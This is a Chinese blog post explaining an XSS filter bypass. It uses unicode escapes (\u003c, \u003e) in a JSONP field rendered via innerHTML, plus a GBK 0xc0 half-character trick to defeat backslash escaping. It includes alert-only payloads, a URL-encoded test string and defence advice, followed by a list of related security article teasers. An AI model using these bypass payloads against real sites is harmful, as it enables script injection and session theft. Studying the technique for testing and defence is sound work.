让XSS攻击来得更猛烈些吧——一种新型的绕过XSS防御的方法

简介: 让XSS攻击来得更猛烈些吧                                             一种新型的绕过XSS防御的方法     大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。
让XSS攻击来得更猛烈些吧 
                                            一种新型的绕过XSS防御的方法 

    大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。 

首先看一个JS的例子: 
<script> 
    var s = "\u003c\u003e"; 
    alert(s); 
</script>

运行这段代码,结果显示如下: 


看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过\u003c和\u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子: 
<div id='s'> 
test 
</div> 
<script> 
    var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e"; 
    document.getElementById('s').innerHTML = s; 
</script>

运行上面代码,结果显示如下: 

在没有尖括号的情况下,成功实现了一个弹框的案例。 

现在来设想一个更贴近实际开发情况的例子: 
(1)假设某站的首页:http://www.victim.com/main.html,其代码为: 
<div id="test"> 
   aa 
</div> 
<script>     
   function callback(obj)     
   {         
       document.getElementById("test").innerHTML = obj.name;     
   } 
</script> 
<script src=" http://www.victim.com/getcontent"></script>


(2)http://www.victim.com/getcontent返回的内容格式如下: 
callback({"name":"xx"});
其中name的值是用户的昵称。 
   
这个例子简单模拟了异步拉取信息并进行显示的情况。 

现在假设用户的昵称为: 
\u003cimg src=1 onerror=alert(/xss/)\u003e
那么会是什么情况呢? 
首先getcontent返回的昵称应该是这样的: 
\\u003cimg src=1 onerror=alert(/xss/)\\u003e
因为后台输出JSON格式数据时,一般都会在\前面添加转义符进行转义。 
接着main.html的callback函数应该是等价于执行下面的语句: 
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";
显示的结果如下: 
   
很遗憾,没有弹出框。原因是原来的转义序列\u003c并没有生效,被添加的转义符转义掉了。 

不过这里假设返回昵称时对\进行了转义,但实际情况下,有时输出json格式数据时是没有对\进行转义的,那样就会触发漏洞。 

对于有对\进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论: 
对于gb2312编码," [0xc0]\ "是一个合法的编码,显示为:"繺"。 
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。 
其中[0xc0]表示一个十六进制的值。 

现在修改昵称为:[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e, 
getcontent输出: 
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"}); 
由于半字符[0xc0]的存在,在解释上述JS代码时,等价于: 
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"}); 
可见,转义序列\u003c终于又回来了,显示结果如下: 

上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。 
总结: 
(1)  利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。 
(2)  测试方法:截获请求包,修改参数为:%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e 
(3)  防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。


一切皆有可能,跨站无处不在,发挥偶们强大的智慧来挖掘吧! 

PS:图片上传不了
目录
相关文章
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
514 49
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
948 4
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
639 3
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
742 2
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
933 0
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
7100 2
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
338 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
1478 1